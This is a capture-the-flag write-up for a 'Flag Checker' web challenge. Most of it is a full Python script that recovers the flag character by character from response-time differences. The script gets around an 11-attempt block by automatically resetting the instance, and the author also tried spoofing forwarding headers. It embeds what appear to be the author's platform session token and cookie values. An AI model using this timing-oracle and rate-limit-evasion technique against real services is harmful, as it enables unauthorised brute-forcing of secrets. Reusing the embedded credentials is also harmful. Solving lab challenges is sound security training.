🌐 Flag Checker

image.png

Can check 11 chars before needing reset, so automated script to reset, check 0-a, reset, check bcdef, reset, move to next position, and added the re attempt for the x-response-tiem header empty.

I knew the flag was in flag{md5sum} or 32 characters, and it was easy get, /submit?flag=flag{md5sum}

We had too many scripts, but at one point we tested and found getting blocked after 11 tries, and here is a curl we used to test:

curl -v 'https://<your_instance_url>/submit?flag=flag{f0000000000000000000000000000000}' \\
--cookie 'token=<your_challenge_token>' \\
-H 'X-Forwarded-For: 10.1.1.1' \\
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36' \\
-H 'Referer: https://<your_instance_url>/'

So from there I didn't want to manually reset, tried, but was just too painful, was able to figure out the api information for the ctf platform and add to the script. I logged into out original account before joining the team and ran a second version to test and it was confirming the same values. That was a problem we initially had, was the resposne times were not consistient enough or returned difference flags.

I tried walking around the x-forwarded-header and real-ip but didn't have good results down that hole.

image.png

image.png

image.png

flag{77ba0346d9565e77344b9fe40ecf1369}

If you post it in the field you get

image.png

HUNTRESS_AUTH_TOKEN = "base64-eyJhY2Nl"
HUNTRESS_SP_COOKIE = "sp=1fc0bef6-37f7-4b4e-8aed-d59d9f9bb8bb"
import requests
import sys
import time
import random
from typing import Optional, Dict
from urllib.parse import urlparse, parse_qs

RESET_API_URL = "<https://ctf.huntress.com/api/student/courses/fd52b41d-833d-4ea8-9df1-98553bf2ea34/systems/a30a3849-db00-48c6-9c35-c2ec37fa6cb3/reset>"
CONNECT_API_URL = "<https://ctf.huntress.com/api/student/courses/fd52b41d-833d-4ea8-9df1-98553bf2ea34/systems/a30a3849-db00-48c6-9c35-c2ec37fa6cb3/connect>"
HUNTRESS_REFERER = "<https://ctf.huntress.com/events/308dbb3b-8095-40e8-a46f-900e11f2a084/take/-flag-checker>"

# --- Attack Parameters ---
FLAG_LENGTH = 32
CHAR_SET = "0123456789abcdef"
USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36"
TIME_THRESHOLD = 0.05
MAX_RETRIES = 3 # Number of times to retry a failed request

# --- AUTOMATION FUNCTION ---
def automate_reset(session: requests.Session) -> Optional[tuple[str, str]]:
    print("\\n[AUTOMATION] Automating the reset process...")
    if "PASTE_YOUR" in HUNTRESS_AUTH_TOKEN or "PASTE_YOUR" in HUNTRESS_SP_COOKIE:
        sys.exit("[!] ERROR: You must paste both cookie values.")

    api_cookies = {"sb-auth-auth-token": HUNTRESS_AUTH_TOKEN, "sp": HUNTRESS_SP_COOKIE}
    api_headers = {"Referer": HUNTRESS_REFERER, "User-Agent": USER_AGENT}
    
    try:
        print("[AUTOMATION] Sending reset request...")
        requests.post(RESET_API_URL, cookies=api_cookies, headers=api_headers, json={}, timeout=30).raise_for_status()
        wait_time = 25
        print(f"[AUTOMATION] Waiting {wait_time}s for instance reboot...")
        time.sleep(wait_time)
        print("[AUTOMATION] Sending connect request...")
        connect_payload = {"connectionIndex": 0, "isNew": True}
        connect_res = requests.post(CONNECT_API_URL, cookies=api_cookies, headers=api_headers, json=connect_payload, timeout=30)
        connect_res.raise_for_status()
        connect_data = connect_res.json()
        
        full_url = connect_data.get("url")
        if not full_url: sys.exit(f"[!] CRITICAL: Could not find 'url' in connect response: {connect_data}")
        
        parsed_url = urlparse(full_url)
        new_base_url = f"{parsed_url.scheme}://{parsed_url.netloc}/"
        fragment_params = parse_qs(parsed_url.fragment)
        new_challenge_token = fragment_params.get('token', [None])[0]

        if not new_challenge_token: sys.exit("[!] CRITICAL: Could not parse 'token' from URL fragment.")

        session.cookies.set("token", new_challenge_token)
        print("[AUTOMATION] Successfully obtained new credentials.")
        return new_base_url, new_challenge_token
    except requests.RequestException as e:
        sys.exit(f"[!] CRITICAL: API call failed during reset. Error: {e}")

# --- Helper Functions ---
def get_time(session: requests.Session, flag_attempt: str, base_url: str) -> Optional[float]:
    """Sends a single request and returns the backend time."""
    try:
        headers = {"User-Agent": USER_AGENT, "Referer": base_url}
        params = {"flag": flag_attempt}
        response = session.get(f"{base_url}submit", params=params, headers=headers, timeout=10)
        
        if "stop hacking" in response.text.lower():
            print(f"  -> GET .../submit?flag={flag_attempt}  ->  Blocked by WAF!")
            return -1.0
        if 'x-response-time' in response.headers:
            time_value = float(response.headers['x-response-time'])
            print(f"  -> GET .../submit?flag={flag_attempt}  ->  Time: {time_value:.6f}s")
            return time_value
        
        print(f"  -> GET .../submit?flag={flag_attempt}  ->  ERROR: No x-response-time header")
        return None
    except requests.RequestException as e:
        print(f"  -> GET .../submit?flag={flag_attempt}  ->  ERROR: {e}")
        return None

def find_next_character(session: requests.Session, known_flag: str) -> Optional[str]:
    position = len(known_flag) + 1
    print(f"\\n==============\\n[*] Testing position {position}/{FLAG_LENGTH}...\\n==============")
    timing_data: Dict[str, float] = {}

    # --- Batch 1 ---
    print("[*] Batch 1: Testing characters '0' through 'a'...")
    initial_creds = automate_reset(session)
    if not initial_creds: sys.exit("[FAIL] Could not get new instance for Batch 1.")
    base_url, _ = initial_creds
    
    for char_to_test in CHAR_SET[:11]:
        payload_content = known_flag + char_to_test + ("0" * (FLAG_LENGTH - position))
        flag_attempt = f"flag{{{payload_content}}}"
        
        time_taken = None
        # NEW: Retry loop for resilience
        for attempt in range(MAX_RETRIES):
            time.sleep(0.2)
            current_time = get_time(session, flag_attempt, base_url)
            if current_time is not None:
                if current_time == -1.0: sys.exit("[FAIL] Session blocked unexpectedly.")
                time_taken = current_time
                break # Success, break from retry loop
            print(f"    [!] Attempt {attempt + 1}/{MAX_RETRIES} failed. Retrying in 2s...")
            time.sleep(2)
            
        if time_taken is None:
            print(f"  [!] FAILED to get a valid time for '{char_to_test}' after {MAX_RETRIES} retries. Skipping.")
            timing_data[char_to_test] = 0.0 # Assign zero so it's not chosen as the max
        else:
            timing_data[char_to_test] = time_taken

    # --- Batch 2 ---
    print("\\n[*] Batch 1 complete. Resetting for Batch 2.")
    reset_result = automate_reset(session)
    if not reset_result: sys.exit("[FAIL] Automation failed during Batch 2 reset.")
    base_url, _ = reset_result
    
    print("\\n[*] Batch 2: Resuming with new credentials...")
    for char_to_test in CHAR_SET[11:]:
        payload_content = known_flag + char_to_test + ("0" * (FLAG_LENGTH - position))
        flag_attempt = f"flag{{{payload_content}}}"
        
        time_taken = None
        # NEW: Retry loop for resilience
        for attempt in range(MAX_RETRIES):
            time.sleep(0.2)
            current_time = get_time(session, flag_attempt, base_url)
            if current_time is not None:
                if current_time == -1.0: sys.exit("[FAIL] Session blocked unexpectedly.")
                time_taken = current_time
                break # Success, break from retry loop
            print(f"    [!] Attempt {attempt + 1}/{MAX_RETRIES} failed. Retrying in 2s...")
            time.sleep(2)
        
        if time_taken is None:
            print(f"  [!] FAILED to get a valid time for '{char_to_test}' after {MAX_RETRIES} retries. Skipping.")
            timing_data[char_to_test] = 0.0
        else:
            timing_data[char_to_test] = time_taken

    # --- Analysis ---
    if not timing_data: return None
    best_char = max(timing_data, key=lambda k: timing_data.get(k, 0))
    max_time = timing_data.get(best_char, 0)

    print(f"\\n--- Timing Summary for Position {position} ---")
    for char, timing in sorted(timing_data.items(), key=lambda item: item[1], reverse=True):
        print(f"  - '{char}': {timing:.6f}s")
    
    if max_time > TIME_THRESHOLD:
        print(f"\\n[+] Analysis complete. Best character is '{best_char}' with time {max_time:.6f}s")
        return best_char
    else:
        print(f"\\n[!] Analysis complete, but no time was above the threshold {TIME_THRESHOLD}s. Best guess was '{best_char}'.")
        return None

def main():
    with requests.Session() as session:
        print("[*] Starting initial setup...")
        known_flag_content = ""
        while len(known_flag_content) < FLAG_LENGTH:
            next_char = find_next_character(session, known_flag_content)
            if next_char:
                known_flag_content += next_char
                print(f"\\n[SUCCESS] Flag found so far: {known_flag_content}")
            else:
                sys.exit("\\n[FAIL] Script failed to determine the next character.")
                
        full_flag = f"flag{{{known_flag_content}}}"
        print(f"\\n[COMPLETE] 🎉 Full flag found: {full_flag}")

if __name__ == "__main__":
    main()